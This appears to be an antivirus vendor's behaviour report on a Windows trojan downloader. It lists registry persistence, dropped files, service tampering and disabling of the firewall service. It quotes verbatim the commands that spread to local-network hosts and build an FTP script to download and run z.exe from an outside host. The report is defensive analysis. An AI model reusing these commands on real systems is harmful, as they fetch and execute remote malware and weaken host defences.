Trojan.DownLoader9.39015

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'Explorer.exe'

Creates or modifies the following files:

%WINDIR%\Tasks\KLK8.exe
%WINDIR%\Tasks\KLKt.vbe

Creates the following services:

[<HKLM>\SYSTEM\ControlSet001\Services\LmHosts] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\RpcLocator] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\NtLmSsp] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\Browser] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\lanmanserver] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\lanmanworkstation] 'Start' = '00000002'

Malicious functions:

Creates and executes the following:

'%WINDIR%\Tasks\KLK8.exe' 10.0.0.9 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.8 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.7 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.10 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.13 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.12 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.11 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.2 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.1 :
'%CommonProgramFiles%\sfbsbvy\coiome.exe'
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.3 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.5 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.6 :
'%WINDIR%\Tasks\KLK8.exe' 10.0.0.4 :

Executes the following:

'<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.3 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
'<SYSTEM32>\sc.exe' stop Messenger
'<SYSTEM32>\locator.exe'
'<SYSTEM32>\sc.exe' delete Messenger
'<SYSTEM32>\sc.exe' stop LYTC
'<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.1 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
'<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.2 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
'<SYSTEM32>\net1.exe' start NtLmSsp
'<SYSTEM32>\sc.exe' delete HidServ
'<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.5 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
'<SYSTEM32>\cacls.exe' "%ALLUSERSPROFILE%\Application Data\Storm\update" /e /p everyone:n
'<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.8 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
'<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.7 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
'<SYSTEM32>\sc.exe' delete LYTC
'<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.6 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
'<SYSTEM32>\sc.exe' delete IE_WinserverName
'<SYSTEM32>\net1.exe' start RpcLocator
'<SYSTEM32>\sc.exe' config LmHosts start= auto
'<SYSTEM32>\sc.exe' config lanmanworkstation start= auto
'<SYSTEM32>\sc.exe' config NtLmSsp start= auto
'<SYSTEM32>\sc.exe' config RpcLocator start= auto
'<SYSTEM32>\taskkill.exe' /im coiome.exe /f
'<SYSTEM32>\mshta.exe' "%PROGRAM_FILES%\HOL.hta"
'<SYSTEM32>\sc.exe' config lanmanserver start= auto
'<SYSTEM32>\sc.exe' config Browser start= auto
'<SYSTEM32>\net1.exe' stop sharedaccess
'<SYSTEM32>\taskkill.exe' /im iejore.exe /f
'<SYSTEM32>\net1.exe' start LmHosts
'<SYSTEM32>\taskkill.exe' /im conime.exe /f
'<SYSTEM32>\net1.exe' start lanmanworkstation
'<SYSTEM32>\net1.exe' start lanmanserver
'<SYSTEM32>\sc.exe' delete JavaServe
'<SYSTEM32>\net1.exe' start Browser

Modifies file system :

Creates the following files:

\Device\LanmanRedirector\10.0.0.5\pipe\browser
\Device\LanmanRedirector\10.0.0.6\pipe\browser
\Device\LanmanRedirector\10.0.0.4\pipe\browser
\Device\LanmanRedirector\10.0.0.7\pipe\browser
\Device\LanmanRedirector\10.0.0.10\pipe\browser
\Device\LanmanRedirector\10.0.0.9\pipe\browser
\Device\LanmanRedirector\10.0.0.8\pipe\browser
\Device\LanmanRedirector\10.0.0.3\pipe\browser
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\b[1].jpg
%CommonProgramFiles%\sfbsbvy\coiome.exe
%PROGRAM_FILES%\HOL.hta
%WINDIR%\Fonts\oo.ini
\Device\LanmanRedirector\10.0.0.1\pipe\browser
\Device\LanmanRedirector\10.0.0.2\pipe\browser
%HOMEPATH%\Desktop\2345НшЦ·µјєЅ.url